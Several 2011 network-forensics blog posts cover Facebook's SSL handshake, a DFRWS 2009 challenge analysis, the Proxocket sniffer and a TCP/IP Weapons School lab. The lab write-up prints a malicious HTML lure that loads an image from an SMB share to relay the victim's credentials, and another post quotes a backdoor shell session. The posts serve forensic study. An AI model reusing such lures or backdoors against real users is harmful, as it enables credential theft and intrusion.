Facebook, SSL and Network Forensics

Facebook announced earlier this week that they will start enabling the ability to encrypt all communication to their servers though HTTPS (i.e. HTTP over SSL). Until now it is only the login that has been encrypted, all other Facebook traffic has been sent in clear text.

I suppose it was the Firesheep plugin for Firefox that forced the Facebook developers into pushing out this encryption-for-all-traffic feature. My personal opinion is that this encryption feature is something that has been needed for a long time in order to protect the privacy of all the Facebook users. By looking at network traffic from a Facebook user it has been quite simple see what email address the Facebook account is registered with as well as to extract messages that have been sent to other users. This means that anyone who has been able to sniff a user's network traffic has also been able to extract this information. One simple way to get hold of Facebook network traffic would be to bring a laptop to the nearest coffee shop with free WiFi, Starbucks seems to be a popular choice for such activities.

It is, however, not only script kiddies leeching free WiFi at Starbucks who are wanna listen in on Facebook sessions. Incident response teams as well as law enforcement utilize network forensics regularly in order to investigate computer security incidents and criminal activity. The goal of performing network forensics on Facebook traffic could be to find out who is using a particular computer or to track a botnet or worm that is running its command and control channel over Facebook. In Mandiant's recent M-trends 2011 they note that APT are starting to utilize third-party Internet services, such as Facebook, for data theft as well as command and control. The fact that Facebook are going down the SSL route therefore limits the ability of investigators to perform network forensics.

There are of course way so capture network traffic even though it is encapsulated in an SSL stream. When investigating malware one can for example perform a man-in-the-middle attack by proxying all traffic trough a server controlled by the investigator. In cases when malware achieves SSL encryption by running stunnel, or some similar encryption service running on localhost, one can rely on a simple tool such as a socket proxy in order to dump the network traffic before it is encrypted.

Looking inside SSL encrypted streams is unfortunately much more difficult when you don't have full access to the SSL client computer. In order to decrypt SSL traffic one need to know the session key, which is typically unique for each individual session. And in order to get hold of the session key one need to be able to intercept and decode the key exchange at the beginning of the SSL session. There are multiple ways to perform the key exchange in SSL, but the most common ways are to either use RSA or to use ephemeral Diffie-Hellman key exchange. When RSA is used, and a passive listener is in possession of the server's private RSA key, one can actually decode the SSL traffic. Diffie-Hellman key exchange does, on the other hand, use a scheme where a new random private key is generated for each individual session. This prevents a third-party listener, who did not participate in the key exchange, from decoding the SSL session.

I took a quick look at Facebook's SSL encryption feature by sniffing traffic from an IE7 client establishing an HTTPS session towards Facebook. Running the pcap through tshark gives the following output from the client's SSL hello message:

Secure Socket Layer
SSL Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 123
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 119
Version: TLS 1.0 (0x0301)
Random
gmt_unix_time: Jan 30, 2011 10:10:51.000000000
random_bytes: D75BFFDF5F2DB997C8CBA54DE8B57B76AAC4EF2D16E593D5...
Session ID Length: 0
Cipher Suites Length: 24
Cipher Suites (12 suites)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)

This gives the Facebook server multiple options when it comes to choosing the key exchange algorithm, including both RSA and ephemeral Diffie-Hellman (DHE).

Looking closer at the server hello from Facebook we see this:

Secure Socket Layer
TLSv1 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 74
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 70
Version: TLS 1.0 (0x0301)
Random
gmt_unix_time: Jun 8, 2028 22:15:05.000000000
random_bytes: 3CD8EB6009A4CA6ECEAE9FC514DEC967C848FC2B0A5406CF...
Session ID Length: 32
Session ID: 54DFE1534E829C3AC0CF0D604C0AEF7973DAA64367870057...
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
Compression Method: null (0)

Facebook selects RSA for key exchange and RC4 for session encryption. This makes the HTTPS traffic to Facebook fairly easy to decrypt for Mark Zuckerberg, or whoever would be in possession of the private RSA key used by Facebook.

By the way, here is a good YouTube video on how to enable SSL encryption on your Facebook account.
And here is a blog post that explains how to decrypt SSL traffic with Wireshark.

Posted by Erik Hjelmvik on Sunday, 30 January 2011 21:21:00 (UTC/GMT)

Tags: #Netresec​

DFRWS 2009 Network Forensics

I noticed that Juan Leaniz recently posted his analysis of the DFRWS challenge from 2009 on the SANS Computer Forensic Investigations and Incident Response Blog.

I actually submitted a contest entry to this challenge back in 2009, titled "Nothing but Network Forensics". The idea behind my entry was to see just how much information that could be extracted from the pcap files included in the challenge without even looking at the physical memory dump or filesystem images that also were provided as part of the challenge.

I will here provide some highlights from my analysis of the 2009 DFRWS challenge pcap files:

There were two persons involved in the case, I call them "NSSAL" and "JHUISI". I managed to extract the avatar images that were downloaded by these persons when they logged into their online PlayStation accounts.

The actual URL these avatar images were extracted from was http://homeps3.svo.online.scee.com:10060. Yes, that's right, HTTP over TCP port 10060. Extracting these images was much easier to do with NetworkMiner Professional, since it would automatically detect this TCP session as running HTTP with help of the built in port-independent protocol identification feature.

I also used NetworkMiner to see what Google queries that NSSAL performed. By opening the Parameters tab, sorting contents on "Parameter name" column and scrolling down to parameter name "q" i found that NSSAL had searched for:

• mardi gras
• mardi gras pictures
• mardi gras pictures k00l

The Hosts tab in NetworkMiner also provides more detailed info about the machines involved in this case. The computer used by NSSAL was actually a PS3 console (with MAC 001FA7B21ADE) that was running Sony's own CellOS with IP address 137.30.123.78. The OS fingerprinting feature of NetworkMiner does not contain any OS class for the PS3 CellOS, the console therefore gets fingerprinted as FreeBSD. I suppose FreeBSD is quite similar to CellOS since the CellOS is in fact believed to be a branch from the FreeBSD/Darwin development tree.

NSSAL's PS3 was later rebooted into Ubuntu Linux with IP 137.30.123.40 (notice that the MAC address in the screenshot above remained unchanged). I could tell that NSSAL's PS3 was running Ubuntu Linux since the OS fingerprinting functionality provided by Satori and p0f both show that the TCP/IP stack behaves as Linux. The SSH banner-grabbing functionality included in NetworkMiner also says that NSSAL's machine was running "OpenSSH_5.1p1 Debian-3ubuntu1".

I should probably also mention the backdoor I found being used by JHUISI to get into NSSAL's machine. The initial commands sent in the remote shell session from when this backdoor was used looks as follows:

jhuisi

Backdoor by darkXside

Enter the second password.
mac

Password accepted!
[backdoor]# ls
backd00r
Examples
[backdoor]# ls
backd00r
Examples
[backdoor]# rm backd00r

This backdoor sure looks very much like a modified version of darkXside's backd00r.c to me.

By the way, I will try to provide a similar analysis of the DFRWS challenge from 2008 on this blog sometime in the near future. The 2008 challenge was in fact much more interesting to investigate, from a network forensics perspective, than the 2009 challenge that we have looked at in this blog post.

Posted by Erik Hjelmvik on Wednesday, 26 January 2011 20:26:00 (UTC/GMT)

Tags: #DFRWS​ #Forensics​

Proxocket - A Winsock Proxy Sniffer

There are many ways to capture network traffic on Windows machines. The most common way is undoubtedly to use a link-layer driver such as WinPcap's NPF-driver or Microsoft's Network Monitor driver. These drivers are typically used by applications like Wireshark and Microsoft's Network Monitor to provide low level network access, so that packets can be captured without having to pass through the TCP/IP stack.

Another sniffing option is to use Raw Sockets, which can be used to capture traffic one more layer up the stack (between the Link and Internet layer). Raw Sockets is, however, a topic that I plan to cover more in detail on this blog in the future so I will not dwell any more on it in this post.

What I really wanna write about in this blog post is a third way to capture network traffic: Winsock proxy capturing.

Luigi Auriemma has built a great tool called Proxocket, which can be used to capture calls between an application and the Winsock functions in Windows. Proxocket is simply two DLL files (ws2_32.dll and wsock32.dll) which should be placed in the same directory as the .exe of the application for which you wanna monitor network traffic. These DLL files act as proxies to the real Winsock DLL files (with the same names), which reside in "C:\Windows\System32\". Placing Luigi's proxy DLLs in the same folder as the .exe file causes the application to load the proxy DLLs rather than the real Winsock DLLs. Proxocket relays all packets between the application and the real Winsock DLLs, but every relayed packet is also written to a .cap file by Proxocket.

Not only does Proxocket let you sniff the traffic to and from an application without having to load a new network driver or raw socket sniffing application, it also makes it possible to sniff traffic going to localhost. But why would someone wanna establish a network connection to localhost, you might ask. I have personally used localhost sockets in my applications when I have code running in different processes or threads and need an effective way for them to exchange data in an asynchronous manner (NetworkMiner does not use localhost sockets for inter-process communication though). I'm actually pretty sure many software developers use localhost sockets when they need to provide data exchange between different processes.
Localhost connections are also used when running Stunnel or TOR proxies on your local machine, which encrypt all outgoing traffic. You can thereby use Proxocket in order to capture the network traffic BEFORE it is encrypted by Stunnel or TOR.

I have found Proxocket very practical when I need to capture traffic from just a single application. I did, for example, use Proxocket when collecting training data for obfuscated protocols (like BitTorrent's MSE protocol and Skype) when laying the grounds for my "Breaking and Improving Protocol Obfuscation" report.

By the way, Luigi is probably primarily known for being the number one vulnerability discoverer of all time according to X-Force in 2008 (I'm not sure he still holds the #1 spot though). He seems to have a special interest for finding and reporting bugs in computer games, and I do suspect Proxocket comes in quite handy when doing that type of vulnerability analysis.

Posted by Erik Hjelmvik on Thursday, 20 January 2011 20:05:00 (UTC/GMT)

Tags: #Netresec​ #Sniffing​ #TOR​

Analyzing the TCP/IP Weapons School Sample Lab

The introduction provided to this lab in the Student Workbook outlines the incident:

Samantha is back with another potential security incident. She said she received another email from her friend Samuel that resulted in suspicious computer activity. She clicked on a URL but didn’t see anything interesting. Again she wonders if her computer was "hacked".

I decided to load the pcap file into NetworkMiner to see what it can unveil.

The "Messages" tab in NetworkMiner provides quick access to the email Samantha received:

The message body of the email says:

Hi Samantha,

Sorry that last link didn't work. Here is a new cool Web page!

Samuel

Attached to the email is also a file called “cool_web_page.html” (see “filename” attribute in the screenshot above). This file is already reassembled and extracted to disk by NetworkMiner when it loaded the pcap file. The easiest way to locate the file is to open the “Files” tab, sort on filename and scroll down to “cool_web_page.html”. Right-clicking the file and selecting “Open folder” causes NetworkMiner to open up the folder on the computer where the file was extracted.

Warning: it is almost never a good idea to select “Open file” in NetworkMiner, since that would cause the potentially malicious file to be executed. Only use this option if you are absolutely sure that the extracted file isn't malicious, or if you wanna perform behavioral analysis of the malicious code in a sandboxed environment.

The contents of the cool web page are:

<HTML>
<BODY>
<TITLE>Why do you open these links?!?</TITLE>
<IMG SRC="\\10.1.1.6\share2\1.jpg">
<H1>Boo!</H1>
</BODY>
</HTML>

This sure looks fishy to me, since the image tag tells the browser to load an image from an SMB network share rather than a web server. Luckily NetworkMiner parses the SMB (a.k.a. CIFS) protocol, so any file that has been transferred over SMB will show up in the files tab. No file transfer using SMB can be seen there though. The “Sessions” tab, on the other hand, confirms that there has been SMB communication between Samantha's computer (192.168.230.4) and the suspicious machine with IP 10.1.1.6.

Note: NetworkMiner displays the SMB protocol as “NetBiosSessionService”, which is the underlying protocol that provides the session layer for SMB.

Interestingly enough we do not only see an SMB session from Samantha's computer to the suspicious machine, but also a second SMB session where the suspicious machine seems to connect back to Samantha's computer. This is odd, it causes me to suspect that a an SMB relay attack (MITM + pass-the-hash) could have been performed. A quick look at the credentials tab verifies this suspicion, since I can see that the exact same credentials that are sent from Samantha's computer (user account “samantha” and an HMAC) are replayed by the suspicious machine back to Samantha's computer. Hence the suspicious machine is authenticating itself to Samantha's computer by using her own credentials.

This is pretty much as far as I could get by only using NetworkMiner. To see what actions the attacker did after performing the pass-the-has attack one would have to look at the network traffic on a packet level (with for example Wireshark, tshark or tcpdump). Doing so will for example reveal a failed attempt at accessing the IPC$ share on Samantha's computer.

This blog post could have ended here, but I also discovered some interesting excess information when analysing Bejtlich's TCP/IP Weapons School capture file. There were multiple SSL sessions in the pcap, most of them using the standard TCP 443 port. But the protocol identification functionality provided in NetworkMiner Professional also identified some SSL sessions going to servers on TCP ports 9001 and 8192. To me these SSL session look very much like TOR traffic. The encryption functionality in TOR is actually designed to mimic the TLS handshake of Firefox+Apache, but they use self signed certificates rather than certs signed with by a trusted CA.

NetworkMiner extracts all certificates used in the SSL handshakes to disk, so it is easy to inspect them by looking in the files tab. Just sort the files on the Protocol column and look for “TlsCertificate” in order to quickly locate the extracted certificates.

Posted by Erik Hjelmvik on Saturday, 15 January 2011 14:37:00 (UTC/GMT)

Tags: #Netresec​ #NetworkMiner​ #SMB​ #TOR​ #SSL​

The Netresec Blog is now Online!

The topics that will be covered on this blog will mostly be about network security and network monitoring. Related fields like "normal" IT security, protocol design, software development and digital forensics will most likely also be touched upon at times.

Posted by Erik Hjelmvik on Monday, 03 January 2011 18:45:00 (UTC/GMT)

Tags: #Netresec​